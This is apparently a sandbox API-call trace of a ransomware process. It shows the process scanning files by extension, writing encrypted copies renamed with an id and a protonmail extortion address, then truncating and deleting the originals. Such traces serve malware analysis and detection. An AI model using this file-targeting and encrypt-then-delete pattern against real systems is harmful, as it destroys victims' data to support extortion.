	[0070.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.247] lstrlenW (lpString=".doc") returned 4
	[0070.247] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString=".docx") returned 5
	[0070.247] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.247] lstrlenW (lpString=".pdf") returned 4
	[0070.247] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString=".xls") returned 4
	[0070.247] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.247] lstrlenW (lpString=".xlsx") returned 5
	[0070.247] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.247] lstrlenW (lpString=".ppt") returned 4
	[0070.247] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.247] lstrlenW (lpString=".zip") returned 4
	[0070.247] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.247] lstrlenW (lpString=".rar") returned 4
	[0070.247] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString=".bz2") returned 4
	[0070.247] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString=".7z") returned 3
	[0070.247] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.247] lstrlenW (lpString=".dbf") returned 4
	[0070.247] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.247] lstrlenW (lpString=".1cd") returned 4
	[0070.248] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.248] lstrlenW (lpString=".jpg") returned 4
	[0070.248] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.248] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.248] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.248] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=72076) returned 1
	[0070.248] CloseHandle (hObject=0x2e8) returned 1
	[0070.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80
	[0070.248] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.248] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.248] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.249] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.249] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0070.249] GetLastError () returned 0x0
	[0070.249] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1198c, lpOverlapped=0x0) returned 1
	[0070.326] WriteFile (in: hFile=0x31c, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x11990, lpOverlapped=0x0) returned 1
	[0070.328] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.328] WriteFile (in: hFile=0x31c, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.328] SetEndOfFile (hFile=0x31c) returned 1
	[0070.328] CloseHandle (hObject=0x31c) returned 1
	[0070.330] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.330] SetEndOfFile (hFile=0x2e8) returned 1
	[0070.331] CloseHandle (hObject=0x2e8) returned 1
	[0070.332] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.332] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1
	[0070.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.332] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.332] lstrlenW (lpString=".doc") returned 4
	[0070.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.332] lstrlenW (lpString=".docx") returned 5
	[0070.332] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.332] lstrlenW (lpString=".pdf") returned 4
	[0070.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.332] lstrlenW (lpString=".xls") returned 4
	[0070.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString=".xlsx") returned 5
	[0070.333] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.333] lstrlenW (lpString=".ppt") returned 4
	[0070.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.333] lstrlenW (lpString=".zip") returned 4
	[0070.333] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.333] lstrlenW (lpString=".rar") returned 4
	[0070.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString=".bz2") returned 4
	[0070.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString=".7z") returned 3
	[0070.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.333] lstrlenW (lpString=".dbf") returned 4
	[0070.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.333] lstrlenW (lpString=".1cd") returned 4
	[0070.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.333] lstrlenW (lpString=".jpg") returned 4
	[0070.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.333] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.333] lstrlenW (lpString=".doc") returned 4
	[0070.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString=".docx") returned 5
	[0070.333] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.333] lstrlenW (lpString=".pdf") returned 4
	[0070.333] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString=".xls") returned 4
	[0070.333] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.333] lstrlenW (lpString=".xlsx") returned 5
	[0070.333] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.334] lstrlenW (lpString=".ppt") returned 4
	[0070.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.334] lstrlenW (lpString=".zip") returned 4
	[0070.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.334] lstrlenW (lpString=".rar") returned 4
	[0070.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.334] lstrlenW (lpString=".bz2") returned 4
	[0070.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.334] lstrlenW (lpString=".7z") returned 3
	[0070.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.334] lstrlenW (lpString=".dbf") returned 4
	[0070.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.334] lstrlenW (lpString=".1cd") returned 4
	[0070.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44
	[0070.334] lstrlenW (lpString=".jpg") returned 4
	[0070.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.334] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.334] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.334] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0070.336] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=86442) returned 1
	[0070.336] CloseHandle (hObject=0x31c) returned 1
	[0070.337] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80
	[0070.337] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0070.337] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.337] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.337] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.337] GetLastError () returned 0x0
	[0070.337] ReadFile (in: hFile=0x31c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x151aa, lpOverlapped=0x0) returned 1
	[0070.466] WriteFile (in: hFile=0x320, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x151b0, lpOverlapped=0x0) returned 1
	[0070.468] ReadFile (in: hFile=0x31c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.468] WriteFile (in: hFile=0x320, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.468] SetEndOfFile (hFile=0x320) returned 1
	[0070.468] CloseHandle (hObject=0x320) returned 1
	[0070.470] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.471] SetEndOfFile (hFile=0x31c) returned 1
	[0070.472] CloseHandle (hObject=0x31c) returned 1
	[0070.472] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.472] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1
	[0070.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.472] lstrlenW (lpString=".doc") returned 4
	[0070.472] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString=".docx") returned 5
	[0070.473] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.473] lstrlenW (lpString=".pdf") returned 4
	[0070.473] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString=".xls") returned 4
	[0070.473] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString=".xlsx") returned 5
	[0070.473] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.473] lstrlenW (lpString=".ppt") returned 4
	[0070.473] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.473] lstrlenW (lpString=".zip") returned 4
	[0070.473] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.473] lstrlenW (lpString=".rar") returned 4
	[0070.473] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString=".bz2") returned 4
	[0070.473] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString=".7z") returned 3
	[0070.473] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.473] lstrlenW (lpString=".dbf") returned 4
	[0070.473] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.473] lstrlenW (lpString=".1cd") returned 4
	[0070.473] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.473] lstrlenW (lpString=".jpg") returned 4
	[0070.473] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.473] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.473] lstrlenW (lpString=".doc") returned 4
	[0070.473] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.473] lstrlenW (lpString=".docx") returned 5
	[0070.473] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.473] lstrlenW (lpString=".pdf") returned 4
	[0070.474] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.474] lstrlenW (lpString=".xls") returned 4
	[0070.474] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.474] lstrlenW (lpString=".xlsx") returned 5
	[0070.474] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.474] lstrlenW (lpString=".ppt") returned 4
	[0070.474] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.474] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.474] lstrlenW (lpString=".zip") returned 4
	[0070.474] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.474] lstrlenW (lpString=".rar") returned 4
	[0070.474] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.474] lstrlenW (lpString=".bz2") returned 4
	[0070.474] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.474] lstrlenW (lpString=".7z") returned 3
	[0070.474] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.475] lstrlenW (lpString=".dbf") returned 4
	[0070.475] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.475] lstrlenW (lpString=".1cd") returned 4
	[0070.475] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.475] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44
	[0070.475] lstrlenW (lpString=".jpg") returned 4
	[0070.475] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.475] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.475] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.475] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.159] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=80060) returned 1
	[0071.159] CloseHandle (hObject=0x2bc) returned 1
	[0071.160] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80
	[0071.160] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0071.160] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.160] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.160] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.164] GetLastError () returned 0x0
	[0071.164] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x138bc, lpOverlapped=0x0) returned 1
	[0071.170] WriteFile (in: hFile=0x328, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x138c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x138c0, lpOverlapped=0x0) returned 1
	[0071.172] ReadFile (in: hFile=0x2bc, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.172] WriteFile (in: hFile=0x328, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0071.172] SetEndOfFile (hFile=0x328) returned 1
	[0071.172] CloseHandle (hObject=0x328) returned 1
	[0071.174] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.174] SetEndOfFile (hFile=0x2bc) returned 1
	[0071.176] CloseHandle (hObject=0x2bc) returned 1
	[0071.176] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.176] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1
	[0071.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.176] lstrlenW (lpString=".doc") returned 4
	[0071.176] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.176] lstrlenW (lpString=".docx") returned 5
	[0071.176] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.176] lstrlenW (lpString=".pdf") returned 4
	[0071.176] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.176] lstrlenW (lpString=".xls") returned 4
	[0071.176] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.176] lstrlenW (lpString=".xlsx") returned 5
	[0071.176] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.176] lstrlenW (lpString=".ppt") returned 4
	[0071.177] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.177] lstrlenW (lpString=".zip") returned 4
	[0071.177] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.177] lstrlenW (lpString=".rar") returned 4
	[0071.177] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString=".bz2") returned 4
	[0071.177] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString=".7z") returned 3
	[0071.177] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.177] lstrlenW (lpString=".dbf") returned 4
	[0071.177] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.177] lstrlenW (lpString=".1cd") returned 4
	[0071.177] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.177] lstrlenW (lpString=".jpg") returned 4
	[0071.177] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.177] lstrlenW (lpString=".doc") returned 4
	[0071.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString=".docx") returned 5
	[0071.177] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0071.177] lstrlenW (lpString=".pdf") returned 4
	[0071.177] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString=".xls") returned 4
	[0071.177] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString=".xlsx") returned 5
	[0071.177] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0071.177] lstrlenW (lpString=".ppt") returned 4
	[0071.177] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0071.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.177] lstrlenW (lpString=".zip") returned 4
	[0071.177] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0071.178] lstrlenW (lpString=".rar") returned 4
	[0071.178] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0071.178] lstrlenW (lpString=".bz2") returned 4
	[0071.178] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0071.178] lstrlenW (lpString=".7z") returned 3
	[0071.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0071.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.178] lstrlenW (lpString=".dbf") returned 4
	[0071.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0071.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.178] lstrlenW (lpString=".1cd") returned 4
	[0071.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0071.178] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 44
	[0071.178] lstrlenW (lpString=".jpg") returned 4
